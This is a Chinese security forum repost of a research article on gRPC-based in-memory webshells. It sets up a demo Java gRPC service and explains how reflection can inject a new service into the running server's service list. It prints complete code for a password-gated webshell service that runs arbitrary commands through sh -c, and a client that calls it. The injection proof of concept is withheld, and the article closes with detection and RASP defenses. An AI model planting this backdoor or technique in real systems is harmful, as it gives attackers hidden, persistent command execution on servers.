安全矩阵

 找回密码
 立即注册
搜索
查看: 817|回复: 0

内存马的攻防博弈之旅之gRPC内存马

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-12-1 00:43:38 | 显示全部楼层 |阅读模式

内存马的攻防博弈之旅之gRPC内存马
原文链接:内存马的攻防博弈之旅之gRPC内存马
创新研究院 绿盟研究科技通讯  2022-11-30 17:00 发表于北京
编辑

一.  概述
内存马的攻防博弈之旅中,我们对内存马做过了一定的介绍。做个简单的总结,内存马就是在系统动态创建对外提供服务的恶意后门接口,并且整个过程没有文件落地,全都在内存中执行,故称之为内存马。
目前已经有基于Filter,servlet,service,websocket等方式实现的内存马。本文将介绍利用gRPC协议的新型的内存马的实现与防御。

二.  gRPC
gRPC[1]是由 google开发的一个高性能、通用的开源RPC框架,主要面向移动应用开发且基于HTTP/2协议标准而设计,同时支持大多数流行的编程语言。
官方对gRPC协议的介绍如下:
gRPC 是一种现代开源高性能远程过程调用 (RPC) 框架,可以在任何环境中运行。它可以通过对负载平衡、跟踪、健康检查和身份验证的可插拔支持,有效地连接数据中心内和数据中心之间的服务。它还适用于分布式计算的最后一英里,将设备、移动应用程序和浏览器连接到后端服务。
gRPC协议有着以下的特性:
1. 简单的服务定义
使用 Protocol Buffers 定义您的服务,这是一种强大的二进制序列化工具集和语言。
2. 快速启动并扩展
使用一行代码安装运行时和开发环境,并使用框架扩展到每秒数百万次 RPC。
3. 跨语言和平台工作
以各种语言和平台为您的服务自动生成惯用的客户端和服务器存根。
4. 双向流和集成身份验证
双向流和完全集成的可插拔身份验证与基于 HTTP/2 的传输。
gRPC以其高效的性能,在现在微服务架构中越来越流行。既然gRPC协议就是一种对外提供服务的接口,那是否也可以通过gRPC协议来实现一种新型的内存马呢?

三.  gRPC环境搭建
3.1  
环境搭建
首先,我们使用java maven环境搭建一个gRPC服务。完整代码在:
https://github.com/snailll/gRPCDemo
创建一个简单User服务,gRPC基于
ProtoBuf(Protocol Buffers) [2] 序列化协议开发,我们需要先定义user.proto
  1. syntax = "proto3";
  2. package protocol;


  3. option go_package = "protocol";
  4. option java_multiple_files = true;
  5. option java_package = "com.demo.shell.protocol";

  6. message User {
  7.   int32 userId = 1;
  8.   string username = 2;
  9.   sint32 age = 3;
  10.   string name = 4;
  11. }

  12. service UserService {
  13.   rpc getUser (User) returns (User) {}
  14.   rpc getUsers (User) returns (stream User) {}
  15.   rpc saveUsers (stream User) returns (User) {}
  16. }
复制代码
再实现对应UserService里的方法
  1. public class UserServiceImpl extends UserServiceGrpc.UserServiceImplBase {
  2.     @Override
  3.     public void getUser(User request, StreamObserver<User> responseObserver) {
  4.         System.out.println(request);
  5.        ...
  6.         responseObserver.onNext(user);
  7.         responseObserver.onCompleted();
  8.     }

  9.     @Override
  10.     public void getUsers(User request, StreamObserver<User> responseObserver) {
  11.    ...
  12.         responseObserver.onNext(user);
  13.         responseObserver.onNext(user2);

  14.         responseObserver.onCompleted();
  15.     }

  16.     @Override
  17.     public StreamObserver<User> saveUsers(StreamObserver<User> responseObserver) {

  18.         return new StreamObserver<User>() {
  19.    ...
  20.         };
  21.     }
  22. }
复制代码
启动服务
  1. public class NsServer {
  2.     public static void main(String[] args) throws Exception {
  3.         int port = 8082;
  4.         Server server = ServerBuilder
  5.                 .forPort(port)
  6.                 .addService(new UserServiceImpl())
  7.                 .build()
  8.                 .start();
  9.         System.out.println("server started, port : " + port);
  10.         server.awaitTermination();
  11.     }
  12. }
复制代码
启动客户端
  1. public class NsTest {
  2.     public static void main(String[] args) {

  3.         User user = User.newBuilder()
  4.                 .setUserId(100)
  5.                 .build();

  6.         String host = "127.0.0.1";
  7.         int port = 8082;
  8.         ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();
  9.         UserServiceGrpc.UserServiceBlockingStub userServiceBlockingStub = UserServiceGrpc.newBlockingStub(channel);
  10.         User responseUser = userServiceBlockingStub.getUser(user);
  11.         System.out.println(responseUser);

  12.         Iterator<User> users = userServiceBlockingStub.getUsers(user);
  13.         while (users.hasNext()) {
  14.             System.out.println(users.next());
  15.         }

  16.         channel.shutdown();
  17.     }
  18. }
复制代码

四.  内存马实现方式
4.1  
实现原理
需要实现内存马,我们就需要能够动态创建对外提供服务的恶意后门接口,通过上面的环境搭建步骤我们可以看到,添加服务是Server的addService方法实现的,那我们就以此为入口,分析服务是如何添加以及运行的,来实现后续的动态添加service实现内存马的能力。

4.2  
关键逻辑分析

编辑
图1  gRPC方法请求流程及动态注入
通过分析服务解析调用的流程,整个gRPC服务的注册及调用流程如图1所示:
1. 启动时创建services列表,添加所有的gRPC的接口的定义,并设置为unmodifiable;
2. 请求时判断调用的接口是否在接口列表中,在列表中就调用对应的实现类。

通过分析server创建以及请求调用的过程,可以得出,如果想要实现动态注入gRPC service,那我们需要满足以下条件:
1. 能获取到获取到services列表;
2. 能创建自定义的service接口;
3. 能够对unmodifiable的接口做修改,加入创建的service接口

通过分析,在gRPC调用链中,我们可以看到一个参数里面的services,methods也正是我们注册的User服务。通过java的反射机制,就可以获取到此属性。
编辑
图2  请求中的services对象
对于已经设置为unmodifiable的services对象,往里面直接put元素会抛出异常。因此我们采取一种讨巧的方式,创建一个新的可以修改的对象,将原始内容添加进去,并加入我们需要新加入的Service,最后反射set为新创建的值。

4.3  
利用构造
通过java反序列化等漏洞我们可以利用java的反射机制实现动态注入接口,修改services对象注入内存马接口,因为PoC包含攻击性暂不提供。  内存马的简单内容实现如下:
webshell.proto定义:
  1. syntax = "proto3";
  2. package protocol;

  3. option go_package = "protocol";
  4. option java_multiple_files = true;
  5. option java_package = "com.demo.shell.protocol";

  6. message Webshell {

  7.   string pwd = 1;
  8.   string cmd = 2;
  9. }


  10. service WebShellService {
  11.   rpc exec (Webshell) returns (Webshell) {}
  12. }
复制代码
webshell实现类:
  1. public class WebshellServiceImpl extends WebShellServiceGrpc.WebShellServiceImplBase {

  2.     @Override
  3.     public void exec(Webshell request, StreamObserver<Webshell> responseObserver) {
  4.         super.exec(request, responseObserver);
  5.         String pwd = request.getPwd();
  6.         String cmd = request.getCmd();

  7.         if ("x".equals(pwd)) {
  8.             String[] cmdStrings = new String[]{"sh", "-c", cmd};
  9.             String retString = "";

  10.             Process p = null;
  11.             try {
  12.                 p = Runtime.getRuntime().exec(cmdStrings);
  13.                 int status = p.waitFor();
  14.                 List<String> processList = new ArrayList<String>();

  15.                 BufferedReader input = new BufferedReader(new InputStreamReader(p.getInputStream()));
  16.                 String line = "";
  17.                 while ((line = input.readLine()) != null) {
  18.                     processList.add(line);
  19.                 }
  20.                 input.close();

  21.                 for (String l : processList) {
  22.                     line += l;
  23.                 }
  24.                 System.out.println(line);

  25. //                String result = p.getOutputStream().toString();
  26.                 System.out.println("=======>" + line);
  27.                 if (status != 0) {
  28.                     System.err.println(String.format("runShellCommand: %s, status: %s", cmd,
  29.                             status));
  30.                 }

  31.                 Webshell webshell = Webshell
  32.                         .newBuilder().setCmd(line).build();
  33.                 responseObserver.onNext(webshell);
  34.                 responseObserver.onCompleted();
  35.             } catch (Exception e) {
  36.                 e.printStackTrace();
  37.             } finally {
  38.                 if (p != null) {
  39.                     p.destroy();
  40.                 }
  41.             }
  42.         }
  43.     }
  44. }
复制代码
4.4  利用效果
默认未执行payload前Service只有一个。
编辑
图3  未执行内存马前的service对象列表
执行payload添加 Service后,webshell Service 已经成功注册。
编辑
图4 执行内存马后的service对象列表
client连接webshell,执行命令
  1. public class TestShell {
  2.     public static void main(String[] args) {

  3.         Webshell webshell = Webshell.newBuilder()
  4.                 .setPwd("x")
  5.                 .setCmd("ls -al ")
  6.                 .build();

  7.         String host = "127.0.0.1";
  8.         int port = 8082;
  9.         ManagedChannel channel = ManagedChannelBuilder.forAddress(host, port).usePlaintext().build();

  10.         WebShellServiceGrpc.WebShellServiceBlockingStub webShellServiceBlockingStub = WebShellServiceGrpc.newBlockingStub(channel);
  11.         Webshell s = webShellServiceBlockingStub.exec(webshell);
  12.         System.out.println(s.getCmd());
  13.         try {
  14.             Thread.sleep(5000);
  15.         } catch (InterruptedException e) {
  16.             e.printStackTrace();
  17.         }
  18.         channel.shutdown();
  19.     }
  20. }
复制代码
可以看到server已经成功执行命令,输出结果。
编辑
图5  内存马执行命令成功结果

五.  防御手段
目前内存马的检测手段主要有两种方式,一种是利用基于Instrument的Agent的事后检测机制,一种是利用RASP的事中检测机制。
传统的利用Instrument的Agent检测机制是对已存在的Servlet,Filter,Listener,Interceptor,websocket对象的class文件反编译后再做恶意代码识别。但gRPC类型的内存马并不在这个列表中,因此是无法检测的。对gRPC类型的内存马,可以加入对实现了io.grpc.BindableService接口的类做检测。
利用RASP技术,可以对动态修改services列表的行为做检测阻断,以实现阻止gRPC内存马的创建。

六.  总结
本文介绍了在新的微服务的场景,随着gRPC协议的广泛应用,利用gRPC实现的新型的内存马技术也给企业的安全防护带来了新的挑战。同时随着技术的不断的迭代发展,也有可能会有其他新型的内存马的出现。可以看出内存马安全攻防的博弈一直都在持续进行中,这趟旅程还没有到终点。

参考文献
[1]  https://grpc.io
[2]  https://developers.google.com/protocol-buffers

内容编辑:创新研究院  陈建军
责任编辑:创新研究院  陈佛忠

本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。
关于我们
绿盟科技研究通讯由绿盟科技创新研究院负责运营,绿盟科技创新研究院是绿盟科技的前沿技术研究部门,包括星云实验室、天枢实验室和孵化中心。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。
绿盟科技创新研究院作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。
我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 02:21 , Processed in 0.012765 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表